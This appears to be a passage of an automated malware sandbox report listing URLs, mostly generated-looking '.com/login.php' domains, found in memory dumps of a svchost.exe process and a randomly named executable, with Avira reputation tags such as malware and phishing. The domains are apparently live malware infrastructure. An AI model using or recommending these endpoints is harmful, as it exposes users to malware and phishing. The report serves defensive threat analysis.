                                                                                                                                                                                                              • Avira URL Cloud: malware
                                                                                                                                                                                                              		unknown
                                                                                                                                                                                                              http://vopygat.com/login.phpsvchost.exe, 00000001.00000003.1894208080.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1902019877.0000000002F95000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2161825875.0000000008A0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1895938775.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1901978788.0000000002F94000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2174605514.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2149761878.0000000008B0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898504335.0000000002F83000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2903357463.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1901601922.0000000002F90000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1895964396.0000000002F7B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2180770258.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898499821.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2154566378.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2146336174.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2143778963.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2140072505.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1902620348.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2190135620.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1901301890.0000000002F87000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2149333396.0000000008B05000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                              • Avira URL Cloud: phishing
                                                                                                                                                                                                              		unknown
                                                                                                                                                                                                              http://galykew.com/svchost.exe, 00000001.00000003.1958857886.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2261960277.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2258260984.0000000008A1B000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                              • Avira URL Cloud: safe
                                                                                                                                                                                                              		unknown
                                                                                                                                                                                                              http://lyvynid.com/login.phpsvchost.exe, 00000001.00000003.1933898185.0000000008B09000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                              • Avira URL Cloud: malware
                                                                                                                                                                                                              		unknown
                                                                                                                                                                                                              http://galyhib.com/login.phpsvchost.exe, 00000001.00000003.1968630518.0000000008A1F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1968327079.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2267072964.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2276411177.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1967423631.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1968394988.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1968883679.0000000008A3A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                              • Avira URL Cloud: malware
                                                                                                                                                                                                              		unknown
                                                                                                                                                                                                              http://ganykaz.com/login.phpsvchost.exe, 00000001.00000003.1843276757.0000000002F5B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1843534286.0000000002FB9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1854943514.0000000008A20000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2090626154.0000000008A15000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2878663670.0000000008A01000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1843563132.0000000002FBB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2864162691.0000000008A3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2099585241.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1870383629.0000000008A20000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2085425211.0000000008A13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1838364731.0000000008A20000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2091999156.0000000008A19000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1839816326.0000000008A21000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2092789966.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1854650597.0000000008A21000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1856209919.0000000002F63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1841035752.0000000008A21000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                              • Avira URL Cloud: malware
                                                                                                                                                                                                              		unknown
                                                                                                                                                                                                              http://qeqynel.com/login.phpNsvchost.exe, 00000001.00000003.2119051522.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2129829149.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2128042608.0000000008A0A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                              • Avira URL Cloud: malware
                                                                                                                                                                                                              		unknown
                                                                                                                                                                                                              http://gadydow.com/login.phpsvchost.exe, 00000001.00000003.2789208581.0000000008A01000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1968327079.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2282417105.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2267072964.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2278879701.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2291331219.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2292428208.0000000008A0D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2287989020.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1968703670.000000000089E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2878663670.0000000008A01000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2279226567.0000000008A0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2290690746.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1968517351.0000000000899000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2788287399.0000000008A0D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1968394988.0000000008B05000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                              • Avira URL Cloud: malware
                                                                                                                                                                                                              		unknown
                                                                                                                                                                                                              http://qeqykog.com/login.phpsvchost.exe, 00000001.00000003.2111617403.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1876527279.0000000008A19000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1870478184.0000000008A20000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1872874383.0000000008A19000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1874920180.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1874825901.0000000008B0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1874582176.0000000002FB9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2122956933.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1872943728.0000000008A14000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                              • Avira URL Cloud: phishing
                                                                                                                                                                                                              		unknown
                                                                                                                                                                                                              http://vopykum.com/login.phpsvchost.exe, 00000001.00000003.1933898185.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1947510326.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2183678981.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2177110574.0000000008B05000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                              • Avira URL Cloud: malware
                                                                                                                                                                                                              		unknown
                                                                                                                                                                                                              http://lygyjuj.com/login.phpsvchost.exe, 00000001.00000003.1894208080.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1895938775.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2149761878.0000000008B0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898499821.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2146336174.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2143778963.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2140072505.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1902620348.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2149333396.0000000008B05000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                              • Avira URL Cloud: malware
                                                                                                                                                                                                              		unknown
                                                                                                                                                                                                              http://pumytup.com/login.phpsvchost.exe, 00000001.00000003.1788596948.0000000008A44000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779722435.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2804793756.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1780489713.0000000008B07000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1833647424.0000000002F03000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779096011.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779501399.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1781013100.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779124243.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779650272.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2812953933.0000000008A3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2019933898.0000000008B05000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                              • Avira URL Cloud: malware
                                                                                                                                                                                                              		unknown
                                                                                                                                                                                                              http://qedyrag.com/login.phpsvchost.exe, 00000001.00000003.1876534809.0000000008A13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1901395813.0000000008ADD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1876527279.0000000008A19000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1880310454.0000000008ADD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2878663670.0000000008A01000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2119052914.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898558140.0000000008ADD000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                              • Avira URL Cloud: malware
                                                                                                                                                                                                              		unknown
                                                                                                                                                                                                              http://qedykiv.com/login.phpsvchost.exe, 00000001.00000003.1876534809.0000000008A13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1879229849.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2119051522.0000000008A1F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1876527279.0000000008A19000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2119052914.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2880372058.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1882364910.0000000008A2E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2122956933.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1875834987.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1880477607.0000000008B0B000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                              • Avira URL Cloud: malware
                                                                                                                                                                                                              		unknown
                                                                                                                                                                                                              http://lysynun.com/login.phpsvchost.exe, 00000001.00000003.1958857886.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1958569924.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2264180640.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1959780405.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1959522129.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1960929560.0000000008AFE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2258260984.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1963059685.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1960318072.0000000008AFE000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                              • Avira URL Cloud: malware
                                                                                                                                                                                                              		unknown
                                                                                                                                                                                                              http://qexyreg.com/login.phpsvchost.exe, 00000001.00000003.1958857886.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1958569924.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2264180640.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1959780405.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1959522129.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1962439893.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1960929560.0000000008AFE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2258260984.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1963059685.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1965539116.0000000008B0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1960318072.0000000008AFE000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                              • Avira URL Cloud: malware
                                                                                                                                                                                                              		unknown
                                                                                                                                                                                                              http://qetyveq.com/login.phpsvchost.exe, 00000001.00000003.1958857886.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2258284449.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2264180640.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1960150197.0000000002F53000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2261481994.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2261960277.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1962439893.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1960929560.0000000008AFE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2263454454.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2258260984.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1963059685.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2259557028.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1965539116.0000000008B0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2267073793.0000000008A1F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2258260984.0000000008A1B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1960318072.0000000008AFE000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                              • Avira URL Cloud: malware
                                                                                                                                                                                                              		unknown
                                                                                                                                                                                                              http://lysyfyj.com/login.phpsvchost.exe, 00000001.00000003.2789208581.0000000008A01000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1981174664.0000000008AF8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1687658381.0000000008A32000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2804793756.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1982247626.0000000008B06000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1687565535.0000000008A2D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2878663670.0000000008A01000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2903357463.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1687570808.0000000008A2F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1984984329.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1978182310.0000000002FBA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2864734796.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000005.00000002.2336765148.0000000008BA0000.00000004.00000001.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000005.00000002.2336765148.0000000008B64000.00000004.00000001.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000006.00000002.2320960777.00000000087AB000.00000004.00000001.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 0000000D.00000002.2331052540.0000000008719000.00000004.00000001.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 0000000D.00000002.2298247060.0000000000AAB000.00000004.00000020.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 0000000D.00000002.2339214455.000000000922D000.00000004.00000010.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 0000000D.00000002.2331052540.00000000086FC000.00000004.00000001.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000015.00000002.2155078247.0000000008F50000.00000004.00000001.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000015.00000002.2108655193.0000000000D2D000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                		high
                                                                                                                                                                                                                http://qekyqop.com/login.phpsvchost.exe, 00000001.00000003.2789208581.0000000008A01000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1695333905.00000000008A0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1687658381.0000000008A32000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2770707489.0000000008ADD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1687565535.0000000008A2D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2878663670.0000000008A01000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2788355446.0000000000890000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1687570808.0000000008A2F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1978182310.0000000002FBA000.00000004.00000020.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000005.00000002.2341054199.0000000008FE9000.00000004.00000001.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000005.00000002.2336765148.0000000008BA0000.00000004.00000001.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000006.00000002.2320960777.00000000087AB000.00000004.00000001.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 0000000D.00000002.2331052540.0000000008719000.00000004.00000001.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000015.00000002.2155078247.0000000008F50000.00000004.00000001.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000015.00000002.2148572373.0000000008CAF000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                • Avira URL Cloud: malware
                                                                                                                                                                                                                		unknown
                                                                                                                                                                                                                http://vocyzum.com/login.phpsvchost.exe, 00000001.00000003.1958857886.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1968327079.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2258284449.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1958569924.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2264180640.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1959780405.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2261481994.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1959522129.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2264012098.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1962439893.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1960929560.0000000008AFE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2258260984.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1963059685.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2259557028.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1965539116.0000000008B0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1968394988.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2261290738.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1960318072.0000000008AFE000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                • Avira URL Cloud: malware
                                                                                                                                                                                                                		unknown
                                                                                                                                                                                                                http://pupywog.com/login.phpsvchost.exe, 00000001.00000003.2119051522.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1901395813.0000000008ADD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2129829149.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2128042608.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1880310454.0000000008ADD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2113424628.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1878161986.0000000008AF8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2119052914.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2889863215.00000000008A2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898558140.0000000008ADD000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                • Avira URL Cloud: malware
                                                                                                                                                                                                                		unknown
                                                                                                                                                                                                                http://lymyxex.com/login.phpsvchost.exe, 00000001.00000003.1903825905.0000000002F5B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1904740415.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1905299063.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1906625484.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1904744278.0000000008A1B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1903904408.0000000008A1B000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                • Avira URL Cloud: malware
                                                                                                                                                                                                                		unknown
                                                                                                                                                                                                                https://cdn.ampproject.orgsvchost.exe, 00000001.00000003.2111622308.0000000008B1F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2840931884.000000000507A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1842605109.0000000008B1F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1843609914.0000000008B1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2084222650.0000000008B1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1835993581.0000000008B1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2855256380.0000000008B98000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1854858918.0000000008B1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1855349724.0000000008B1F000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                  		high
                                                                                                                                                                                                                  http://qedyruv.com/login.phpsvchost.exe, 00000001.00000003.1944205960.0000000002F55000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1942144027.00000000008A0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1944285189.0000000008B0B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1947510326.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1953376276.0000000008B0B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2183678981.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1944474921.0000000002F55000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2181582195.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1956064229.0000000008B0B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2261960277.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1953280624.0000000008B0B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2180770258.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1942146335.0000000002F53000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2188550735.0000000008A13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1941306940.00000000008A0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2263454454.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1953269983.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1949367459.0000000008AF8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1946581985.0000000002FBB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1944143633.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2258260984.0000000008A1B000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                  • Avira URL Cloud: malware
                                                                                                                                                                                                                  		unknown
